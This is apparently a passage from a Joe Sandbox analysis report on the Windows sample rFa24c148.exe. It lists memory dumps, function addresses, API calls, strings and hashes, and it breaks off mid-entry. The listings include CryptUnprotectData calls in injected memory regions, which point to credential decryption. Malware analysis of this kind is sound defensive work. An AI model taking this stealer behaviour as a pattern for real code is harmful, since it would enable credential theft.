Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction ID: e725929a78bd54513bffc085a294c09ba81a7575a3dcdc05b4864a3003f147fa
Opcode Fuzzy Hash: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction Fuzzy Hash: 8AE0C2339010206BC7315F55EC0871ABBAC6F99B72F054527E9407B3A18374AC524FDC

Function 0040580E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rFa24c148.exe,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00405814
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rFa24c148.exe,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425), ref: 00405824

Strings

C:\Users\user\Desktop, xrefs: 0040580E

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: 54f9e395c00b90dc5451f5026eb4b74e0c6c88693738feeaeea148d18d65316b
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C9D05EB34109209AD3227B04DC049EF77ADEF563107458467F800A21A0D3785C908AED

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Analysis Process: rFa24c148.exePID: 7732, Parent PID: 7292COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.3%
Total number of Nodes:	114
Total number of Limit Nodes:	9

Executed Functions

Function 001676F1 Relevance: 10.5, Strings: 8, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00167815
(o^q, xrefs: 0016772E
(o^q, xrefs: 00167C0F
(o^q, xrefs: 00167BFF
,bq, xrefs: 00167BA0
(o^q, xrefs: 001678B2
(o^q, xrefs: 001677E9
,bq, xrefs: 00167B90

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 0b92e920101efb092732e9d46b1cef2476733379372535906b9bac08f5069440
Instruction ID: bb907492b70db0db08257e920b1a5d7f0d9abb49c37cc3cd97d7745d03635ebf
Opcode Fuzzy Hash: 0b92e920101efb092732e9d46b1cef2476733379372535906b9bac08f5069440
Instruction Fuzzy Hash: 21126A30A04219CFCB14CF69D884AAEBBF2FF49319F158599E859DB2A1D730ED51CB90

Function 00166FC8 Relevance: 5.4, Strings: 4, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00167212
,bq, xrefs: 00167298
(o^q, xrefs: 00167220
,bq, xrefs: 0016728A

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: fa397ba2d7cc67eac953d0bb8ae25e8dd16384672b019045743ae588efc73c0b
Instruction ID: d5c73732ff3b972642d4036b6fc6ebd840e405d8173a8186094e4513ace205fc
Opcode Fuzzy Hash: fa397ba2d7cc67eac953d0bb8ae25e8dd16384672b019045743ae588efc73c0b
Instruction Fuzzy Hash: EC025F70A04219DFCB15CF69CC94AADBBB2FF49304F258469E815AB3A1DB30DD51CB51

Function 36555028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 36558408

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 6371a9c3f4d47fc24f9a69d21c3a9fafc3eae46b48ffbd24a81ecc68df494fec
Instruction ID: b082da23eeab954e35d5aed6f08aba8b2c69fa59a1c5ddb1d4d9174451edaafe
Opcode Fuzzy Hash: 6371a9c3f4d47fc24f9a69d21c3a9fafc3eae46b48ffbd24a81ecc68df494fec
Instruction Fuzzy Hash: 6073F731C1075A8EDB10EF68C854A99F7B1FF99300F51D69AE4497B221EB70AAD4CF81

Function 0016A088 Relevance: 3.4, Strings: 2, Instructions: 900COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0016A518
4'^q, xrefs: 0016AB13

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 80201e093efece3fd28994a9eed4b118a05b2bc86550b7cd27af5ac8477f9320
Instruction ID: 53f7433c271e3edffc05cdc887c0a37ed5220bce241d24ebdd02bc2d5cdfea6b
Opcode Fuzzy Hash: 80201e093efece3fd28994a9eed4b118a05b2bc86550b7cd27af5ac8477f9320
Instruction Fuzzy Hash: 83826F35A00209DFCB15CFA8C994AAEBBF2FF88310F55855AE406AB261D731ED91CF51

Function 00166498 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

,bq, xrefs: 00166578
,bq, xrefs: 0016656E

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 138fb62435e73c8399c322e3cdd8deb7d0f77ebd2a5cf1e15ef66107d7d0c97f
Instruction ID: 8fa1a847cab77c549025c8b1aef18e4982327a9e2439c80813e009c2c56dd0b3
Opcode Fuzzy Hash: 138fb62435e73c8399c322e3cdd8deb7d0f77ebd2a5cf1e15ef66107d7d0c97f
Instruction Fuzzy Hash: B4818E74A00505DFCB18CF69DC849AABBF2BF89305B258169D406EB375DB31EC61CB91

Function 0016C147 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C400
PH^q, xrefs: 0016C3EF

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 5a1b1d45b3cfe8ddd66ded307ce1730569e16ae612cae5c97aef2da15be7f4f2
Instruction ID: 0b6f83b16a68b67984118f168fa7cf638aadbf3493708e3e0f413d42291d9d04
Opcode Fuzzy Hash: 5a1b1d45b3cfe8ddd66ded307ce1730569e16ae612cae5c97aef2da15be7f4f2
Instruction Fuzzy Hash: 5FA1D674E01258CFDB14DFA9D894AADBBF2BF89300F15806AE849AB361DB309941CF50

Function 00165362 Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

PH^q, xrefs: 001655D9
PH^q, xrefs: 001655C8

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: e584580e2c930464e12b00893c547b49d0b4d84160abfc36073491516223669c
Instruction ID: b36e77cb9b90d8223e9bd160cd4fbf1a1e8e37cb8dcc91a9114f0bacc007e44f
Opcode Fuzzy Hash: e584580e2c930464e12b00893c547b49d0b4d84160abfc36073491516223669c
Instruction Fuzzy Hash: F291C674E01658CFDB18DFA9D884A9DBBF2FF89300F15806AE409AB361DB309985CF50

Function 0016C468 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C6D0
PH^q, xrefs: 0016C6BF

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 2067f8b171f6292e9b82f4f03d437fc9547d69a39be94b05c0511b1f3bc0aa5c
Instruction ID: 3a764e8a8733c306bf8f116319b92a94ee19f0353f11676d4072d70887ee7f5e
Opcode Fuzzy Hash: 2067f8b171f6292e9b82f4f03d437fc9547d69a39be94b05c0511b1f3bc0aa5c
Instruction Fuzzy Hash: CE81A574E00218CFDB18DFAAC994AADBBF2BF89300F14D06AE459AB365DB345945CF50

Function 0016CCD8 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CF2F
PH^q, xrefs: 0016CF40

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: a6ce37a9bb918e67a3989c281ee87f11e60270530ea14260c91af8ef716a55d7
Instruction ID: 567d04035214b6a8047b52528f73d179ce993f73b96142ab0251e8c98c5e27e5
Opcode Fuzzy Hash: a6ce37a9bb918e67a3989c281ee87f11e60270530ea14260c91af8ef716a55d7
Instruction Fuzzy Hash: 6681B374E00218CFDB18DFAAC884AADBBF2BF89300F14C069E859AB365DB355945CF50

Function 0016D278 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D4E0
PH^q, xrefs: 0016D4CF

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: f7cfad0b7a8e081fac50bc2c4ba19f46758c8b020f35804f587493b31dc3888c
Instruction ID: c53f44e4b0a4585719edef6d5e81bca6aa9823a51ea8f7f6831cbb34bca25dd7
Opcode Fuzzy Hash: f7cfad0b7a8e081fac50bc2c4ba19f46758c8b020f35804f587493b31dc3888c
Instruction Fuzzy Hash: 7581A2B4E00218CFDB18DFAAD894A9DBBF2BF89300F148069E859AB365DB345D45CF50

Function 0016C738 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C98F
PH^q, xrefs: 0016C9A0

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 0d62868d03b1205c9ce734fa98d590b24bc769ce2e99849db651cd507cef6c01
Instruction ID: 697c15684342b01604f5b2a2610b6a82460332703f553d9e5b7e00f78d102823
Opcode Fuzzy Hash: 0d62868d03b1205c9ce734fa98d590b24bc769ce2e99849db651cd507cef6c01
Instruction Fuzzy Hash: BB81D574E00218CFDB18DFAAC984AADBBF2BF89304F14C069E458AB365DB309945CF50

Function 0016CA08 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CC70
PH^q, xrefs: 0016CC5F

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 8c5e05c48211e059777fb3d01db6bbd828edeeb8c9d90b52d399701e0defbfbd
Instruction ID: a947a16bbbae19b12837f9558a3cff05e54450df85d1696348315caa8844cd4b
Opcode Fuzzy Hash: 8c5e05c48211e059777fb3d01db6bbd828edeeb8c9d90b52d399701e0defbfbd
Instruction Fuzzy Hash: D281A374E01218CFDB18DFAAD894AADBBF2BF89300F14C069E859AB365DB345945CF50

Function 0016CFAA Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D1FF
PH^q, xrefs: 0016D210

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 94b6f4219fea9b2b77153ffa26b25a62a08978b90ac3bf92f61234d106080209
Instruction ID: aad2fca3bf532d4a88874fb819d1144d93ea932b8429ab351967eda806b396aa
Opcode Fuzzy Hash: 94b6f4219fea9b2b77153ffa26b25a62a08978b90ac3bf92f61234d106080209
Instruction Fuzzy Hash: 0A819574E00218CFDB18DFAAD994A9DBBF2BF89300F14C069E819AB365DB749945CF50

Function 36558BA0 Relevance: 1.6, Strings: 1, Instructions: 367COMMON

Download Yara Rule

Strings

", xrefs: 365590BE

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: e70d8bca0bd9f2ed86d750405798b58e7f28cd77f16696920ad1cf25ab45bba7
Instruction ID: 79e23437e051b9661ba124e44473ba0b8808ad6a33731b2175a654d6fbbfef91
Opcode Fuzzy Hash: e70d8bca0bd9f2ed86d750405798b58e7f28cd77f16696920ad1cf25ab45bba7
Instruction Fuzzy Hash: F1F113B4E012588FEB14CFA9C49879EBBF2AF88314F24C16AD409AB395D7749985CF50

Function 36748EF1 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 36748F5D

Memory Dump Source

Source File: 00000004.00000002.2996317280.0000000036740000.00000040.00000800.00020000.00000000.sdmp, Offset: 36740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36740000_rFa24c148.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f0ac8a6a501bb908d37e605de0196ed315516f063c6da2ca153f8704bad4f6a8
Instruction ID: 81e53c47925ea93519e337bfe28decd11d95405562affdb82471e9fa64d31f20
Opcode Fuzzy Hash: f0ac8a6a501bb908d37e605de0196ed315516f063c6da2ca153f8704bad4f6a8
Instruction Fuzzy Hash: A91167B2800249EFDB10DF99C845BDEBFF5EF48320F148419E968A7211C379A590DFA1

Function 367487A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 36748F5D

Memory Dump Source

Source File: 00000004.00000002.2996317280.0000000036740000.00000040.00000800.00020000.00000000.sdmp, Offset: 36740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36740000_rFa24c148.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: dc15591e36a4bb86b13f29caaa8118422ad166b5f26eeb994c59ec158eb7b1f2
Instruction ID: 992423af5b3f00b27ab461262ad4ff6fb954a9c7afb4c6b9712e8dba4862d743
Opcode Fuzzy Hash: dc15591e36a4bb86b13f29caaa8118422ad166b5f26eeb994c59ec158eb7b1f2
Instruction Fuzzy Hash: DD1144B2800309AFDB10DF99C845BDEBFF5EB48320F508419EA28A7211C779A950DFA5

Function 367EEE3B Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

Hbq, xrefs: 367EEDD9

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: c098915ff1ef93649a51757fdee770bc3c5c96f92781711d1a4ec8c4b02ff17d
Instruction ID: fd3a5ad061cb30d512af625976f9ed1af87348200cf51486670a71ea0c4a5494
Opcode Fuzzy Hash: c098915ff1ef93649a51757fdee770bc3c5c96f92781711d1a4ec8c4b02ff17d
Instruction Fuzzy Hash: B281E074E052289FEB65DF69CC50BEDBBB2AF89300F5081E9D508AB291DB305E85CF44

Function 367ED710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 065d46cb182772d6f682f591214e7442a93db3f8f2a4848bbc94ffee73126bd7
Instruction ID: 5a05aada87ce4f52fabdb818f827337dee80926671bf66e01d1024a2c2a714a2
Opcode Fuzzy Hash: 065d46cb182772d6f682f591214e7442a93db3f8f2a4848bbc94ffee73126bd7
Instruction Fuzzy Hash: 3F826B74E012288FDB65DF69CD98BDDBBB2BB89301F1081EA940DA7265DB315E85CF40

Function 367EEE48 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996401853.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da54c996db43042d4e71daf0f1729225ec862ebf4e9e9edce06dad223c88807c
Instruction ID: f2d8fe48219a85eacb0a0ae28ae1c8afee315baab148a7b3d422343e248ac67a
Opcode Fuzzy Hash: da54c996db43042d4e71daf0f1729225ec862ebf4e9e9edce06dad223c88807c
Instruction Fuzzy Hash: 4B727D74E012288FDB65DF69C994BDEBBB2BF89300F1081E9940CAB261DB355E85DF41

Function 36559328 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6693826a41b87f8d05e726cdac85a2eb71e8dbde64b5c910471d25c9ec74c51
Instruction ID: be8927ebc415f429dc99cd2146f60e122c851b0765a91438b791472c7d107ab3
Opcode Fuzzy Hash: e6693826a41b87f8d05e726cdac85a2eb71e8dbde64b5c910471d25c9ec74c51
Instruction Fuzzy Hash: B4225974E00258CFDB14DFA9C884B9DBBB2BF88304F5185AAD509AB351DB349D86CF91

Function 36747B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

